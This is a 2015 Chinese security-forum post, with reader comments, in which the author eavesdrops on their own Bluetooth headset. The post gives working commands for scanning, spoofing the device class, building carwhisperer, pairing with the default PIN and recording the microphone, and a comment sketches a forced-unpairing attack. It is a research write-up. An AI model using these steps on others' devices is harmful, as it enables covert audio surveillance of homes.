窃听蓝牙耳机小实验

mramydnei | 2015-10-19 22:41

上周看了下Hirsch-Bluetooth-Device-Security-2015感觉里面的这段挺好玩的。

Scenarios (5)
Example #4: all Bluetooth speakers or headsets that
are auto-discoverable with HSP (headset) service
(most have this)
●
Eve walks down street listening for auto-
discoverable HSP devices (these are common!)
●
Eve notes that many well-to-do neighborhoods
have lots of these HSP devices left on 24/7, and
that Eve can pair remotely without local
confirmation, and listen to everything in the home
the microphone can pick up.

于是乎从网上买了个蓝牙耳机打算实验一下。

ELECOM HS10

产品名:ELECOM HS10

支持的协议:HFP/HSP

通信方式:蓝牙3.0

然后开始RTFM。发现默认PIN是0000,长按操作按钮5s后会进入到匹配模式。按照说明书长按5s进入到匹配模式后,开始借助pc扫描蓝牙设备

root@kali:~# hcitool scan
Scanning ...
28:52:E0:XX:XX:XX HS10

获取到蓝牙地址后,更改device class假装自己是一台手机:

service bluetooth restart
hciconfig hci0 up
hciconfig hci0 class 0x500204

确认更改生效

root@kali:~/carwhisperer-0.2# hciconfig -a
hci0: Type: BR/EDR Bus: USB
BD Address: A8:86:DD:XX:XX:XX ACL MTU: 1021:8 SCO MTU: 64:1
UP RUNNING
RX bytes:508634 acl:119 sco:9598 events:755 errors:0
TX bytes:212355 acl:132 sco:9486 commands:371 errors:0
Features: 0xbf 0xfe 0xcf 0xfe 0xdb 0xff 0x7b 0x87
Packet type: DM1 DM3 DM5 DH1 DH3 DH5 HV1 HV2 HV3
Link policy: RSWITCH SNIFF
Link mode: SLAVE ACCEPT
Name: 'kali'
Class: 0x500204
Service Classes: Object Transfer, Telephony
Device Class: Phone, Cellular
HCI Version: 4.0 (0x6) Revision: 0x22fc
LMP Version: 4.0 (0x6) Subversion: 0x416a
Manufacturer: Broadcom Corporation (15)

从此处下载carwhisperer-0.2并解压。

http://trifinite.org/Downloads/carwhisperer-0.2.tar.gz

make一下,然后修改makefile的两个坑,把cw_pin.sh替换成cw_pin.pl保存退出后make install一下

来完成安装。随后借助我们之前获取的蓝牙地址开始窃听目标耳机:

root@kali:~/carwhisperer-0.2# carwhisperer hci0 message.raw justatest00.raw 28:52:E0:XX:XX:XX
Voice setting: 0x0060
RFCOMM channel connected
SCO audio channel connected (handle 6, mtu 64)
got: AT+VGS=14
ansewered: OK
.
.

最后将窃听到的raw文件转成wav并播放。

root@kali:~/carwhisperer-0.2# play -t raw -r 8k -e signed -b 16 -c 1 justatest00.raw

justatest00.raw:

File Size: 91.8k Bit Rate: 128k
Encoding: Signed PCM
Channels: 1 @ 16-bit
Samplerate: 8000Hz
Replaygain: off
Duration: 00:00:05.74

In:100% 00:00:05.74 [00:00:00.00] Out:45.9k [ | ] Clip:0
Done.

测试成功。

PS:用ubertooth嗅探到的LAP+计算出来的UAP确实可以确认host是否online,不过没有NAP好像连接不了样子。感觉和网上说的不太一样。如果有知道的求告知 lol

[原文地址]

各种吐槽:

1#

mango (待我乌币800万 姑娘嫁我可好) | 2015-10-19 22:47

有视频嘛

2#

mramydnei | 2015-10-19 22:52

@mango 我录一个加进去吧。

3#

苦咖啡 | 2015-10-19 22:55

录制一个吧 看起来很好玩

4#

mango (待我乌币800万 姑娘嫁我可好) | 2015-10-19 23:07

@mramydnei 恩恩~~这样最号~~

5#

mramydnei | 2015-10-19 23:35

6#

数据流 (| 1970-00-00 00:00) | 2015-10-20 00:26

“更改device class假装自己是一台手机”。 用伪装一词会不会更好呢。(·_·)

7#

小手冰凉 | 2015-10-20 05:16

没看明白,攻击场景是什么?用自己的设备连上对方处于挂起状态的蓝牙耳机?

8#

爱捣蛋的鬼 | 2015-10-20 10:41

是可以窃听戴的人周边的声音吗, 如果已经和手机对接上了,这个是不是就无效了

9#

数据流 (| 1970-00-00 00:00) | 2015-10-20 11:18

@小手冰凉 首先要让别人处于未连接状态。

10#

南哥 (<///////////////////////>) | 2015-10-20 12:16

mark

11#

白无常 | 2015-10-20 15:46

留名

12#

疯狗 (阅尽天下漏洞,心中自然无码。) | 2015-10-20 17:34

@mramydnei 可以这样理解不,这个演示是因为蓝牙耳机、话筒在未连接前提下是可以被发现的(蓝牙主动广播),然后客户端伪装成手机在用默认PIN 0000链接上去,麦克风就开始正常工作了,然后通过蓝牙栈开发的小程序记录下通信中的音频脉冲,最后重方。是这样子么?

13#

mramydnei | 2015-10-20 18:18

@疯狗 是的,不过实战中应该还有很多坑需要去填。

余下的部分还在学习和测试当中

14#

疯狗 (阅尽天下漏洞,心中自然无码。) | 2015-10-21 17:15

@mramydnei 嗯,看来理解无误,但影响还是挺大的,而且中间蓝牙协议的通信都是蛮好玩的部分,期待近期发个后续心得啊。如果没啥问题,俺最近也写点BLE安全的跟你凑凑热闹。

15#

数据流 (| 1970-00-00 00:00) | 2015-10-21 17:32

@疯狗 狗哥也在研究ble呀?

16#

mramydnei | 2015-10-21 17:41

@爱捣蛋的鬼 @小手冰凉

需要满足3个条件:

(1)知道目标设备的蓝牙地址

(2)需要保证目标设备处于没有和其它设备连接的状态

(3)知道pin code是多少

17#

mango (待我乌币800万 姑娘嫁我可好) | 2015-10-21 17:48

@mramydnei 视频已被屏蔽

18#

mramydnei | 2015-10-21 17:49

关于(2)如果目标耳机支持同时连接多台设备,应该不是必要条件

19#

疯狗 (阅尽天下漏洞,心中自然无码。) | 2015-10-21 19:09

@数据流 是啊 ble便宜

20#

insight-labs (Root Yourself in Success) | 2015-10-21 19:50

@mramydnei 有没有类似deauth攻击的方法强行解除配对……

21#

mramydnei | 2015-10-21 22:00

@insight-labs

yes,如果假设蓝牙耳机是和手机连接的,那么手机端必须支持unpairing。

(1)获取蓝牙耳机的地址,将你的蓝牙地址更改成耳机的蓝牙地址

(2)jam掉原始的连接(手机和耳机之间的)

(3)现在给手机发送link layer connection,说老子把key弄丢了,怎么办?

(4)手机这个时候也许会说 居然你忘记了 那我们就再配对一次吧(总不能就这么把这个耳机给废了不是。。)

理论上是这么个流程吧。不敢打包票

22#

mramydnei | 2015-10-21 22:03

@mango

屏蔽原因:按照相关规定,限制传播

请注意:

《互联网信息服务管理办法》所严禁的九类信息

(一)反对宪法所确定的基本原则的;

(二)危害国家安全,泄露国家秘密,颠覆国家政权,破坏国家统一的;

(三)损害国家荣誉和利益的;

(四)煽动民族仇恨、民族歧视,破坏民族团结的;

(五)破坏国家宗教政策,宣扬邪教和封建迷信的;

(六)散布谣言,扰乱社会秩序,破坏社会稳定的;

(七)散布淫秽、色情、赌博、暴力、凶杀、恐怖或者教唆犯罪的;

(八)侮辱或者诽谤他人,侵害他人合法权益的;

(九)含有法律、行政法规禁止的其他内容的。

23#

insight-labs (Root Yourself in Success) | 2015-10-21 22:10

视频传youtube

留言评论(旧系统):

佚名 @ 2015-11-10 14:07:25

楼主你的视频好像被和谐了

本站回复:

有可能被删了…… -_-!!!

佚名 @ 2016-04-09 16:47:20

66666666666666666666666666666666666

本站回复:

66666666666666666666666666666666666

佚名 @ 2016-04-21 15:51:12

请问在carwhisperer连接蓝牙耳机的时候出现 can't connect SCO audio channel!:Function not implemented 该怎么解决呢? (耳机是用的蓝牙4.1版本不知道有米有影响)

本站回复:

不太清楚,百度一下。